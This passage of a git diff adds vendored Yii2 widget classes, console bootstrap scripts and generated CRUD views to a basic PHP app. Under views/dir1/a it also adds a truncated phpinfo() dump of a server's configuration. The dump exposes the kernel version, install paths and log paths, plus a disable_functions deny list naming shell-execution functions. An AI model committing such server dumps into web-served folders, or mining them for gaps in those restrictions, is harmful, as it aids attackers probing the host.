$options = $this->clientOptions; + foreach ($options as $key => $value) { + if (in_array($key, ['oncomplete', 'onincomplete', 'oncleared', 'onKeyUp', 'onKeyDown', 'onBeforeMask', + 'onBeforePaste', 'onUnMask', 'isComplete', 'determineActiveMasksetIndex']) && !$value instanceof JsExpression + ) { + $options[$key] = new JsExpression($value); + } + } + $this->clientOptions = $options; + } + + /** + * Registers the needed client script and options. + */ + public function registerClientScript() + { + $js = ''; + $view = $this->getView(); + $this->initClientOptions(); + if (!empty($this->mask)) { + $this->clientOptions['mask'] = $this->mask; + } + $this->hashPluginOptions($view); + if (is_array($this->definitions) && !empty($this->definitions)) { + $js .= '$.extend($.' . self::PLUGIN_NAME . '.defaults.definitions, ' . Json::encode($this->definitions) . ");\n"; + } + if (is_array($this->aliases) && !empty($this->aliases)) { + $js .= '$.extend($.' . self::PLUGIN_NAME . '.defaults.aliases, ' . Json::encode($this->aliases) . ");\n"; + } + $id = $this->options['id']; + $js .= '$("#' . $id . '").' . self::PLUGIN_NAME . "(" . $this->_hashVar . ");\n"; + MaskedInputAsset::register($view); + $view->registerJs($js); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/MaskedInputAsset.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/MaskedInputAsset.php new file mode 100644 index 00000000..2325571a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/MaskedInputAsset.php @@ -0,0 +1,29 @@ + + * @since 2.0 + */ +class MaskedInputAsset extends AssetBundle +{ + public $sourcePath = '@bower/jquery.inputmask/dist'; + public $js = [ + 'jquery.inputmask.bundle.js' + ]; + public $depends = [ + 'yii\web\YiiAsset' + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/Menu.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/Menu.php new file mode 100644 index 00000000..1a4bb95b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/Menu.php @@ -0,0 +1,321 @@ + [ + * // Important: you need to specify url as 'controller/action', + * // not just as 'controller' even if default action is used. + * ['label' => 'Home', 'url' => ['site/index']], + * // 'Products' menu item will be selected as long as the route is 'product/index' + * ['label' => 'Products', 'url' => ['product/index'], 'items' => [ + * ['label' => 'New Arrivals', 'url' => ['product/index', 'tag' => 'new']], + * ['label' => 'Most Popular', 'url' => ['product/index', 'tag' => 'popular']], + * ]], + * ['label' => 'Login', 'url' => ['site/login'], 'visible' => Yii::$app->user->isGuest], + * ], + * ]); + * ~~~ + * + * @author Qiang Xue + * @since 2.0 + */ +class Menu extends Widget +{ + /** + * @var array list of menu items. Each menu item should be an array of the following structure: + * + * - label: string, optional, specifies the menu item label. When [[encodeLabels]] is true, the label + * will be HTML-encoded. If the label is not specified, an empty string will be used. + * - encode: boolean, optional, whether this item`s label should be HTML-encoded. This param will override + * global [[encodeLabels]] param. + * - url: string or array, optional, specifies the URL of the menu item. It will be processed by [[Url::to]]. + * When this is set, the actual menu item content will be generated using [[linkTemplate]]; + * otherwise, [[labelTemplate]] will be used. + * - visible: boolean, optional, whether this menu item is visible. Defaults to true. + * - items: array, optional, specifies the sub-menu items. Its format is the same as the parent items. + * - active: boolean, optional, whether this menu item is in active state (currently selected). + * If a menu item is active, its CSS class will be appended with [[activeCssClass]]. + * If this option is not set, the menu item will be set active automatically when the current request + * is triggered by `url`. For more details, please refer to [[isItemActive()]]. + * - template: string, optional, the template used to render the content of this menu item. + * The token `{url}` will be replaced by the URL associated with this menu item, + * and the token `{label}` will be replaced by the label of the menu item. + * If this option is not set, [[linkTemplate]] or [[labelTemplate]] will be used instead. + * - options: array, optional, the HTML attributes for the menu container tag. + */ + public $items = []; + /** + * @var array list of HTML attributes for the menu container tag. This will be overwritten + * by the "options" set in individual [[items]]. The following special options are recognized: + * + * - tag: string, defaults to "li", the tag name of the item container tags. + * + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $itemOptions = []; + /** + * @var string the template used to render the body of a menu which is a link. + * In this template, the token `{url}` will be replaced with the corresponding link URL; + * while `{label}` will be replaced with the link text. + * This property will be overridden by the `template` option set in individual menu items via [[items]]. + */ + public $linkTemplate = '{label}'; + /** + * @var string the template used to render the body of a menu which is NOT a link. + * In this template, the token `{label}` will be replaced with the label of the menu item. + * This property will be overridden by the `template` option set in individual menu items via [[items]]. + */ + public $labelTemplate = '{label}'; + /** + * @var string the template used to render a list of sub-menus. + * In this template, the token `{items}` will be replaced with the renderer sub-menu items. + */ + public $submenuTemplate = "\n
                \n{items}\n
              \n"; + /** + * @var boolean whether the labels for menu items should be HTML-encoded. + */ + public $encodeLabels = true; + /** + * @var string the CSS class to be appended to the active menu item. + */ + public $activeCssClass = 'active'; + /** + * @var boolean whether to automatically activate items according to whether their route setting + * matches the currently requested route. + * @see isItemActive() + */ + public $activateItems = true; + /** + * @var boolean whether to activate parent menu items when one of the corresponding child menu items is active. + * The activated parent menu items will also have its CSS classes appended with [[activeCssClass]]. + */ + public $activateParents = false; + /** + * @var boolean whether to hide empty menu items. An empty menu item is one whose `url` option is not + * set and which has no visible child menu items. + */ + public $hideEmptyItems = true; + /** + * @var array the HTML attributes for the menu's container tag. The following special options are recognized: + * + * - tag: string, defaults to "ul", the tag name of the item container tags. + * + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = []; + /** + * @var string the CSS class that will be assigned to the first item in the main menu or each submenu. + * Defaults to null, meaning no such CSS class will be assigned. + */ + public $firstItemCssClass; + /** + * @var string the CSS class that will be assigned to the last item in the main menu or each submenu. + * Defaults to null, meaning no such CSS class will be assigned. + */ + public $lastItemCssClass; + /** + * @var string the route used to determine if a menu item is active or not. + * If not set, it will use the route of the current request. + * @see params + * @see isItemActive() + */ + public $route; + /** + * @var array the parameters used to determine if a menu item is active or not. + * If not set, it will use `$_GET`. + * @see route + * @see isItemActive() + */ + public $params; + + + /** + * Renders the menu. + */ + public function run() + { + if ($this->route === null && Yii::$app->controller !== null) { + $this->route = Yii::$app->controller->getRoute(); + } + if ($this->params === null) { + $this->params = Yii::$app->request->getQueryParams(); + } + $items = $this->normalizeItems($this->items, $hasActiveChild); + if (!empty($items)) { + $options = $this->options; + $tag = ArrayHelper::remove($options, 'tag', 'ul'); + echo Html::tag($tag, $this->renderItems($items), $options); + } + } + + /** + * Recursively renders the menu items (without the container tag). + * @param array $items the menu items to be rendered recursively + * @return string the rendering result + */ + protected function renderItems($items) + { + $n = count($items); + $lines = []; + foreach ($items as $i => $item) { + $options = array_merge($this->itemOptions, ArrayHelper::getValue($item, 'options', [])); + $tag = ArrayHelper::remove($options, 'tag', 'li'); + $class = []; + if ($item['active']) { + $class[] = $this->activeCssClass; + } + if ($i === 0 && $this->firstItemCssClass !== null) { + $class[] = $this->firstItemCssClass; + } + if ($i === $n - 1 && $this->lastItemCssClass !== null) { + $class[] = $this->lastItemCssClass; + } + if (!empty($class)) { + if (empty($options['class'])) { + $options['class'] = implode(' ', $class); + } else { + $options['class'] .= ' ' . implode(' ', $class); + } + } + + $menu = $this->renderItem($item); + if (!empty($item['items'])) { + $menu .= strtr($this->submenuTemplate, [ + '{items}' => $this->renderItems($item['items']), + ]); + } + $lines[] = Html::tag($tag, $menu, $options); + } + + return implode("\n", $lines); + } + + /** + * Renders the content of a menu item. + * Note that the container and the sub-menus are not rendered here. + * @param array $item the menu item to be rendered. Please refer to [[items]] to see what data might be in the item. + * @return string the rendering result + */ + protected function renderItem($item) + { + if (isset($item['url'])) { + $template = ArrayHelper::getValue($item, 'template', $this->linkTemplate); + + return strtr($template, [ + '{url}' => Url::to($item['url']), + '{label}' => $item['label'], + ]); + } else { + $template = ArrayHelper::getValue($item, 'template', $this->labelTemplate); + + return strtr($template, [ + '{label}' => $item['label'], + ]); + } + } + + /** + * Normalizes the [[items]] property to remove invisible items and activate certain items. + * @param array $items the items to be normalized. + * @param boolean $active whether there is an active child menu item. + * @return array the normalized menu items + */ + protected function normalizeItems($items, &$active) + { + foreach ($items as $i => $item) { + if (isset($item['visible']) && !$item['visible']) { + unset($items[$i]); + continue; + } + if (!isset($item['label'])) { + $item['label'] = ''; + } + $encodeLabel = isset($item['encode']) ? $item['encode'] : $this->encodeLabels; + $items[$i]['label'] = $encodeLabel ? Html::encode($item['label']) : $item['label']; + $hasActiveChild = false; + if (isset($item['items'])) { + $items[$i]['items'] = $this->normalizeItems($item['items'], $hasActiveChild); + if (empty($items[$i]['items']) && $this->hideEmptyItems) { + unset($items[$i]['items']); + if (!isset($item['url'])) { + unset($items[$i]); + continue; + } + } + } + if (!isset($item['active'])) { + if ($this->activateParents && $hasActiveChild || $this->activateItems && $this->isItemActive($item)) { + $active = $items[$i]['active'] = true; + } else { + $items[$i]['active'] = false; + } + } elseif ($item['active']) { + $active = true; + } + } + + return array_values($items); + } + + /** + * Checks whether a menu item is active. + * This is done by checking if [[route]] and [[params]] match that specified in the `url` option of the menu item. + * When the `url` option of a menu item is specified in terms of an array, its first element is treated + * as the route for the item and the rest of the elements are the associated parameters. + * Only when its route and parameters match [[route]] and [[params]], respectively, will a menu item + * be considered active. + * @param array $item the menu item to be checked + * @return boolean whether the menu item is active + */ + protected function isItemActive($item) + { + if (isset($item['url']) && is_array($item['url']) && isset($item['url'][0])) { + $route = $item['url'][0]; + if ($route[0] !== '/' && Yii::$app->controller) { + $route = Yii::$app->controller->module->getUniqueId() . '/' . $route; + } + if (ltrim($route, '/') !== $this->route) { + return false; + } + unset($item['url']['#']); + if (count($item['url']) > 1) { + foreach (array_splice($item['url'], 1) as $name => $value) { + if ($value !== null && (!isset($this->params[$name]) || $this->params[$name] != $value)) { + return false; + } + } + } + + return true; + } + + return false; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/Pjax.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/Pjax.php new file mode 100644 index 00000000..35e37f92 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/Pjax.php @@ -0,0 +1,178 @@ + + * @since 2.0 + */ +class Pjax extends Widget +{ + /** + * @var array the HTML attributes for the widget container tag. + * @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered. + */ + public $options = []; + /** + * @var string the jQuery selector of the links that should trigger pjax requests. + * If not set, all links within the enclosed content of Pjax will trigger pjax requests. + * Note that if the response to the pjax request is a full page, a normal request will be sent again. + */ + public $linkSelector; + /** + * @var string the jQuery selector of the forms whose submissions should trigger pjax requests. + * If not set, all forms with `data-pjax` attribute within the enclosed content of Pjax will trigger pjax requests. + * Note that if the response to the pjax request is a full page, a normal request will be sent again. + */ + public $formSelector; + /** + * @var boolean whether to enable push state. + */ + public $enablePushState = true; + /** + * @var boolean whether to enable replace state. + */ + public $enableReplaceState = false; + /** + * @var integer pjax timeout setting (in milliseconds). This timeout is used when making AJAX requests. + * Use a bigger number if your server is slow. If the server does not respond within the timeout, + * a full page load will be triggered. + */ + public $timeout = 1000; + /** + * @var boolean|integer how to scroll the page when pjax response is received. If false, no page scroll will be made. + * Use a number if you want to scroll to a particular place. + */ + public $scrollTo = false; + /** + * @var array additional options to be passed to the pjax JS plugin. Please refer to the + * [pjax project page](https://github.com/yiisoft/jquery-pjax) for available options. + */ + public $clientOptions; + + + /** + * @inheritdoc + */ + public function init() + { + if (!isset($this->options['id'])) { + $this->options['id'] = $this->getId(); + } + + if ($this->requiresPjax()) { + ob_start(); + ob_implicit_flush(false); + $view = $this->getView(); + $view->clear(); + $view->beginPage(); + $view->head(); + $view->beginBody(); + if ($view->title !== null) { + echo Html::tag('title', Html::encode($view->title)); + } + } else { + echo Html::beginTag('div', $this->options); + } + } + + /** + * @inheritdoc + */ + public function run() + { + if (!$this->requiresPjax()) { + echo Html::endTag('div'); + $this->registerClientScript(); + + return; + } + + $view = $this->getView(); + $view->endBody(); + + // Do not re-send css files as it may override the css files that were loaded after them. + // This is a temporary fix for https://github.com/yiisoft/yii2/issues/2310 + // It should be removed once pjax supports loading only missing css files + $view->cssFiles = null; + + $view->endPage(true); + + $content = ob_get_clean(); + + // only need the content enclosed within this widget + $response = Yii::$app->getResponse(); + $response->clearOutputBuffers(); + $response->setStatusCode(200); + $response->format = Response::FORMAT_HTML; + $response->content = $content; + $response->send(); + + Yii::$app->end(); + } + + /** + * @return boolean whether the current request requires pjax response from this widget + */ + protected function requiresPjax() + { + $headers = Yii::$app->getRequest()->getHeaders(); + + return $headers->get('X-Pjax') && $headers->get('X-Pjax-Container') === '#' . $this->options['id']; + } + + /** + * Registers the needed JavaScript. + */ + public function registerClientScript() + { + $id = $this->options['id']; + $this->clientOptions['push'] = $this->enablePushState; + $this->clientOptions['replace'] = $this->enableReplaceState; + $this->clientOptions['timeout'] = $this->timeout; + $this->clientOptions['scrollTo'] = $this->scrollTo; + $options = Json::encode($this->clientOptions); + $linkSelector = Json::encode($this->linkSelector !== null ? $this->linkSelector : '#' . $id . ' a'); + $formSelector = Json::encode($this->formSelector !== null ? $this->formSelector : '#' . $id . ' form[data-pjax]'); + $view = $this->getView(); + PjaxAsset::register($view); + $js = "jQuery(document).pjax($linkSelector, \"#$id\", $options);"; + $js .= "\njQuery(document).on('submit', $formSelector, function (event) {jQuery.pjax.submit(event, '#$id', $options);});"; + $view->registerJs($js); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/PjaxAsset.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/PjaxAsset.php new file mode 100644 index 00000000..ee0100c8 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/PjaxAsset.php @@ -0,0 +1,27 @@ + + * @since 2.0 + */ +class PjaxAsset extends AssetBundle +{ + public $sourcePath = '@bower/yii2-pjax'; + public $js = [ + 'jquery.pjax.js', + ]; + public $depends = [ + 'yii\web\YiiAsset', + ]; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/widgets/Spaceless.php b/php/yii2/basic/vendor/yiisoft/yii2/widgets/Spaceless.php new file mode 100644 index 00000000..50f402e1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/widgets/Spaceless.php @@ -0,0 +1,69 @@ + + * + * + *
              + * + *
              + * + * + * ``` + * + * This example will generate the following HTML: + * + * ```html + * + *
              + * ``` + * + * This method is not designed for content compression (you should use `gzip` output compression to + * achieve it). Main intention is to strip out extra whitespace characters between HTML tags in order + * to avoid browser rendering quirks in some circumstances (e.g. newlines between inline-block elements). + * + * Note, never use this method with `pre` or `textarea` tags. It's not that trivial to deal with such tags + * as it may seem at first sight. For this case you should consider using + * [HTML Tidy Project](http://tidy.sourceforge.net/) instead. + * + * @see http://tidy.sourceforge.net/ + * @author resurtm + * @since 2.0 + */ +class Spaceless extends Widget +{ + /** + * Starts capturing an output to be cleaned from whitespace characters between HTML tags. + */ + public function init() + { + ob_start(); + ob_implicit_flush(false); + } + + /** + * Marks the end of content to be cleaned from whitespace characters between HTML tags. + * Stops capturing an output and echoes cleaned result. + */ + public function run() + { + echo trim(preg_replace('/>\s+<', ob_get_clean())); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/yii b/php/yii2/basic/vendor/yiisoft/yii2/yii new file mode 100755 index 00000000..288c3534 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/yii @@ -0,0 +1,42 @@ +#!/usr/bin/env php + 'yii-console', + 'basePath' => __DIR__ . '/console', + 'controllerNamespace' => 'yii\console\controllers', +]); +if (isset($vendorPath)) { + $application->setVendorPath($vendorPath); +} +$exitCode = $application->run(); +exit($exitCode); diff --git a/php/yii2/basic/vendor/yiisoft/yii2/yii.bat b/php/yii2/basic/vendor/yiisoft/yii2/yii.bat new file mode 100644 index 00000000..d516b3a1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/yii.bat @@ -0,0 +1,20 @@ +@echo off + +rem ------------------------------------------------------------- +rem Yii command line bootstrap script for Windows. +rem +rem @author Qiang Xue +rem @link http://www.yiiframework.com/ +rem @copyright Copyright (c) 2008 Yii Software LLC +rem @license http://www.yiiframework.com/license/ +rem ------------------------------------------------------------- + +@setlocal + +set YII_PATH=%~dp0 + +if "%PHP_COMMAND%" == "" set PHP_COMMAND=php.exe + +"%PHP_COMMAND%" "%YII_PATH%yii" %* + +@endlocal diff --git a/php/yii2/basic/views/auser/_form.php b/php/yii2/basic/views/auser/_form.php new file mode 100644 index 00000000..fdc71f5d --- /dev/null +++ b/php/yii2/basic/views/auser/_form.php @@ -0,0 +1,31 @@ + + +
              + + + + field($model, 'id')->textInput() ?> + + field($model, 'name')->textInput(['maxlength' => 2]) ?> + + field($model, 'ages')->textInput(['maxlength' => 52]) ?> + + field($model, 'phone')->textInput(['maxlength' => 20]) ?> + + field($model, 'address')->textInput(['maxlength' => 50]) ?> + +
              + isNewRecord ? 'Create' : 'Update', ['class' => $model->isNewRecord ? 'btn btn-success' : 'btn btn-primary']) ?> +
              + + + +
              diff --git a/php/yii2/basic/views/auser/_search.php b/php/yii2/basic/views/auser/_search.php new file mode 100644 index 00000000..23d4dede --- /dev/null +++ b/php/yii2/basic/views/auser/_search.php @@ -0,0 +1,35 @@ + + + diff --git a/php/yii2/basic/views/auser/create.php b/php/yii2/basic/views/auser/create.php new file mode 100644 index 00000000..40b6abe2 --- /dev/null +++ b/php/yii2/basic/views/auser/create.php @@ -0,0 +1,21 @@ +title = 'Create Auser'; +$this->params['breadcrumbs'][] = ['label' => 'Ausers', 'url' => ['index']]; +$this->params['breadcrumbs'][] = $this->title; +?> +
              + +

              title) ?>

              + + render('_form', [ + 'model' => $model, + ]) ?> + +
              diff --git a/php/yii2/basic/views/auser/index.php b/php/yii2/basic/views/auser/index.php new file mode 100644 index 00000000..a13d3789 --- /dev/null +++ b/php/yii2/basic/views/auser/index.php @@ -0,0 +1,38 @@ +title = 'Ausers'; +$this->params['breadcrumbs'][] = $this->title; +?> +
              + +

              title) ?>

              + render('_search', ['model' => $searchModel]); ?> + +

              + 'btn btn-success']) ?> +

              + + $dataProvider, + 'filterModel' => $searchModel, + 'columns' => [ + ['class' => 'yii\grid\SerialColumn'], + + 'id', + 'name', + 'ages', + 'phone', + 'address', + + ['class' => 'yii\grid\ActionColumn'], + ], + ]); ?> + +
              diff --git a/php/yii2/basic/views/auser/update.php b/php/yii2/basic/views/auser/update.php new file mode 100644 index 00000000..8bc7869d --- /dev/null +++ b/php/yii2/basic/views/auser/update.php @@ -0,0 +1,21 @@ +title = 'Update Auser: ' . ' ' . $model->name; +$this->params['breadcrumbs'][] = ['label' => 'Ausers', 'url' => ['index']]; +$this->params['breadcrumbs'][] = ['label' => $model->name, 'url' => ['view', 'id' => $model->id]]; +$this->params['breadcrumbs'][] = 'Update'; +?> +
              + +

              title) ?>

              + + render('_form', [ + 'model' => $model, + ]) ?> + +
              diff --git a/php/yii2/basic/views/auser/view.php b/php/yii2/basic/views/auser/view.php new file mode 100644 index 00000000..169511ae --- /dev/null +++ b/php/yii2/basic/views/auser/view.php @@ -0,0 +1,39 @@ +title = $model->name; +$this->params['breadcrumbs'][] = ['label' => 'Ausers', 'url' => ['index']]; +$this->params['breadcrumbs'][] = $this->title; +?> +
              + +

              title) ?>

              + +

              + $model->id], ['class' => 'btn btn-primary']) ?> + $model->id], [ + 'class' => 'btn btn-danger', + 'data' => [ + 'confirm' => 'Are you sure you want to delete this item?', + 'method' => 'post', + ], + ]) ?> +

              + + $model, + 'attributes' => [ + 'id', + 'name', + 'ages', + 'phone', + 'address', + ], + ]) ?> + +
              diff --git a/php/yii2/basic/views/country/index.php b/php/yii2/basic/views/country/index.php new file mode 100644 index 00000000..31a02bca --- /dev/null +++ b/php/yii2/basic/views/country/index.php @@ -0,0 +1,17 @@ + +

              Countries

              +
                + +
              • + name} ({$country->code})") ?>: + population ?> +
              • + +
              + + $pagination]) ?> + + diff --git a/php/yii2/basic/views/dir1/a b/php/yii2/basic/views/dir1/a new file mode 100644 index 00000000..9f9631a9 --- /dev/null +++ b/php/yii2/basic/views/dir1/a @@ -0,0 +1,743 @@ +phpinfo() +PHP Version => 5.4.10 + +System => Linux h 3.5.0-54-generic #81~precise1-Ubuntu SMP Tue Jul 15 04:05:58 UTC 2014 i686 +Build Date => Apr 15 2013 23:05:29 +Configure Command => './configure' '--prefix=/usr/local/php' '--with-apxs2=/usr/local/apache/bin/apxs' '--with-config-file-path=/usr/local/php' '--with-mysql=/usr/local/mysql' '--with-mysqli=/usr/local/mysql/bin/mysql_config' '--with-libxml-dir=/usr/local/libxml2' '--with-gd=/usr/local/gd2' '--with-jpeg-dir=/usr/local/jpeg' '--with-png-dir=/usr/local/libpng' '--with-bz2' '--with-freetype-dir=/usr/local/freetype' '--with-iconv-dir--with-zlib-dir=/usr/local/zlib' '--with-openssl' '--with-mcrypt=/usr/local/libmcrypt' '--with-xmlrpc' '--with-curl' '--with-gettext' '--enable-xml' '--enable-mbregex' '--enable-zip' '--enable-soap' '--enable-gd-native-ttf' '--enable-ftp' '--enable-mbstring' '--enable-exif' '--enable-safe-mode' '--enable-sockets' '--enable-session' '--enable-magic-quotes' '--enable-bcmath' '--disable-rpath' '--disable-debug' '--disable-ipv6' '--enable-fastcgi' '--enable-fpm' '--without-pear' +Server API => Command Line Interface +Virtual Directory Support => enabled +Configuration File (php.ini) Path => /usr/local/php +Loaded Configuration File => /usr/local/php/php.ini +Scan this dir for additional .ini files => (none) +Additional .ini files parsed => (none) +PHP API => 20100412 +PHP Extension => 20100525 +Zend Extension => 220100525 +Zend Extension Build => API220100525,TS +PHP Extension Build => API20100525,TS +Debug Build => no +Thread Safety => enabled +Zend Signal Handling => disabled +Zend Memory Manager => enabled +Zend Multibyte Support => provided by mbstring +IPv6 Support => disabled +DTrace Support => disabled + +Registered PHP Streams => https, ftps, compress.bzip2, php, file, glob, data, http, ftp, phar, zip +Registered Stream Socket Transports => tcp, udp, unix, udg, ssl, sslv3, tls +Registered Stream Filters => bzip2.*, convert.iconv.*, mcrypt.*, mdecrypt.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk + +This program makes use of the Zend Scripting Language Engine: +Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies + with Xdebug v2.2.5, Copyright (c) 2002-2014, by Derick Rethans + with eAccelerator v1.0-dev, Copyright (c) 2004-2012 eAccelerator, by eAccelerator + + + _______________________________________________________________________ + + +Configuration + +bcmath + +BCMath support => enabled + +Directive => Local Value => Master Value +bcmath.scale => 0 => 0 + +bz2 + +BZip2 Support => Enabled +Stream Wrapper support => compress.bzip2:// +Stream Filter support => bzip2.decompress, bzip2.compress +BZip2 Version => 1.0.6, 6-Sept-2010 + +Core + +PHP Version => 5.4.10 + +Directive => Local Value => Master Value +allow_url_fopen => On => On +allow_url_include => Off => Off +always_populate_raw_post_data => Off => Off +arg_separator.input => & => & +arg_separator.output => & => & +asp_tags => Off => Off +auto_append_file => no value => no value +auto_globals_jit => On => On +auto_prepend_file => no value => no value +browscap => no value => no value +default_charset => no value => no value +default_mimetype => text/html => text/html +disable_classes => no value => no value +disable_functions => dl, exec, system, popen, pclose, proc_open, proc_nice, proc_terminate, proc_get_status, proc_close, leak, apache_child_terminate, escapeshellcmd, shell-exec, crack_check, crack_closedict, crack_getlastmessage, crack_opendict, psockopen, php_u, symlink, ini_restore, posix_getpwuid, pfsockopen => dl, exec, system, popen, pclose, proc_open, proc_nice, proc_terminate, proc_get_status, proc_close, leak, apache_child_terminate, escapeshellcmd, shell-exec, crack_check, crack_closedict, crack_getlastmessage, crack_opendict, psockopen, php_u, symlink, ini_restore, posix_getpwuid, pfsockopen +display_errors => Off => Off +display_startup_errors => Off => Off +doc_root => no value => no value +docref_ext => no value => no value +docref_root => no value => no value +enable_dl => Off => Off +enable_post_data_reading => On => On +error_append_string => no value => no value +error_log => /usr/local/php/var/log/php-error.log => /usr/local/php/var/log/php-error.log +error_prepend_string => no value => no value +error_reporting => 32767 => 32767 +exit_on_timeout => Off => Off +expose_php => On => On +extension_dir => /usr/local/php/lib/php/extensions/no-debug-zts-20100525/ => /usr/local/php/lib/php/extensions/no-debug-zts-20100525/ +file_uploads => On => On +highlight.comment => #FF8000 => #FF8000 +highlight.default => #0000BB => #0000BB +highlight.html => #000000 => #000000 +highlight.keyword => #007700 => #007700 +highlight.string => #DD0000 => #DD0000 +html_errors => Off => Off +ignore_repeated_errors => Off => Off +ignore_repeated_source => Off => Off +ignore_user_abort => Off => Off +implicit_flush => On => On +include_path => .: => .: +log_errors => On => On +log_errors_max_len => 1024 => 1024 +mail.add_x_header => On => On +mail.force_extra_parameters => no value => no value +mail.log => no value => no value +max_execution_time => 0 => 0 +max_file_uploads => 50 => 50 +max_input_nesting_level => 64 => 64 +max_input_time => -1 => -1 +max_input_vars => 1000 => 1000 +memory_limit => 16M => 16M +open_basedir => no value => no value +output_buffering => 0 => 0 +output_handler => no value => no value +post_max_size => 8M => 8M +precision => 14 => 14 +realpath_cache_size => 16K => 16K +realpath_cache_ttl => 120 => 120 +register_argc_argv => On => On +report_memleaks => On => On +report_zend_debug => Off => Off +request_order => GP => GP +sendmail_from => no value => no value +sendmail_path => -t -i => -t -i +serialize_precision => 17 => 17 +short_open_tag => On => On +SMTP => localhost => localhost +smtp_port => 25 => 25 +sql.safe_mode => Off => Off +track_errors => Off => Off +unserialize_callback_func => no value => no value +upload_max_filesize => 5M => 5M +upload_tmp_dir => no value => no value +user_dir => no value => no value +user_ini.cache_ttl => 300 => 300 +user_ini.filename => .user.ini => .user.ini +variables_order => GPCS => GPCS +xmlrpc_error_number => 0 => 0 +xmlrpc_errors => Off => Off +zend.detect_unicode => On => On +zend.enable_gc => On => On +zend.multibyte => Off => Off +zend.script_encoding => no value => no value + +ctype + +ctype functions => enabled + +curl + +cURL support => enabled +cURL Information => 7.22.0 +Age => 3 +Features +AsynchDNS => No +Debug => No +GSS-Negotiate => Yes +IDN => Yes +IPv6 => Yes +Largefile => Yes +NTLM => Yes +SPNEGO => No +SSL => Yes +SSPI => No +krb4 => No +libz => Yes +CharConv => No +Protocols => dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, pop3, pop3s, rtmp, rtsp, smtp, smtps, telnet, tftp +Host => i686-pc-linux-gnu +SSL Version => OpenSSL/1.0.1 +ZLib Version => 1.2.3.4 + +date + +date/time support => enabled +"Olson" Timezone Database Version => 2012.10 +Timezone Database => internal +Default timezone => Asia/Manila + +Directive => Local Value => Master Value +date.default_latitude => 31.7667 => 31.7667 +date.default_longitude => 35.2333 => 35.2333 +date.sunrise_zenith => 90.583333 => 90.583333 +date.sunset_zenith => 90.583333 => 90.583333 +date.timezone => Asia/Manila => Asia/Manila + +dom + +DOM/XML => enabled +DOM/XML API Version => 20031129 +libxml Version => 2.6.30 +HTML Support => enabled +XPath Support => enabled +XPointer Support => enabled +Schema Support => enabled +RelaxNG Support => enabled + +eAccelerator + +eAccelerator support => enabled +Version => 1.0-dev +Caching Enabled => false +Optimizer Enabled => false +Check mtime Enabled => false + +Directive => Local Value => Master Value +eaccelerator.allowed_admin_path => no value => no value +eaccelerator.cache_dir => /tmp/eaccelerator => /tmp/eaccelerator +eaccelerator.check_mtime => 1 => 1 +eaccelerator.debug => 1 => 1 +eaccelerator.enable => 0 => 0 +eaccelerator.filter => no value => no value +eaccelerator.log_file => no value => no value +eaccelerator.optimizer => 1 => 1 +eaccelerator.shm_only => 0 => 0 +eaccelerator.shm_prune_period => 0 => 0 +eaccelerator.shm_size => 0 => 0 +eaccelerator.shm_ttl => 0 => 0 + +ereg + +Regex Library => Bundled library enabled + +exif + +EXIF Support => enabled +EXIF Version => 1.4 $Id$ +Supported EXIF Version => 0220 +Supported filetypes => JPEG,TIFF + +Directive => Local Value => Master Value +exif.decode_jis_intel => JIS => JIS +exif.decode_jis_motorola => JIS => JIS +exif.decode_unicode_intel => UCS-2LE => UCS-2LE +exif.decode_unicode_motorola => UCS-2BE => UCS-2BE +exif.encode_jis => no value => no value +exif.encode_unicode => ISO-8859-15 => ISO-8859-15 + +fileinfo + +fileinfo support => enabled +version => 1.0.5 + +filter + +Input Validation and Filtering => enabled +Revision => $Id: e523cdc8829892d1b4f9cb7c3c57b2ba1c36b9ea $ + +Directive => Local Value => Master Value +filter.default => unsafe_raw => unsafe_raw +filter.default_flags => no value => no value + +ftp + +FTP support => enabled + +gd + +GD Support => enabled +GD Version => 2.0 +FreeType Support => enabled +FreeType Linkage => with freetype +FreeType Version => 2.4.0 +GIF Read Support => enabled +GIF Create Support => enabled +JPEG Support => enabled +libJPEG Version => unknown +PNG Support => enabled +libPNG Version => 1.2.50 +WBMP Support => enabled + +Directive => Local Value => Master Value +gd.jpeg_ignore_warning => 0 => 0 + +gettext + +GetText Support => enabled + +hash + +hash support => enabled +Hashing Engines => md2 md4 md5 sha1 sha224 sha256 sha384 sha512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost adler32 crc32 crc32b fnv132 fnv164 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5 + +iconv + +iconv support => enabled +iconv implementation => glibc +iconv library version => 2.15 + +Directive => Local Value => Master Value +iconv.input_encoding => ISO-8859-1 => ISO-8859-1 +iconv.internal_encoding => ISO-8859-1 => ISO-8859-1 +iconv.output_encoding => ISO-8859-1 => ISO-8859-1 + +json + +json support => enabled +json version => 1.2.1 + +libxml + +libXML support => active +libXML Compiled Version => 2.6.30 +libXML Loaded Version => 20630 +libXML streams => enabled + +mbstring + +Multibyte Support => enabled +Multibyte string engine => libmbfl +HTTP 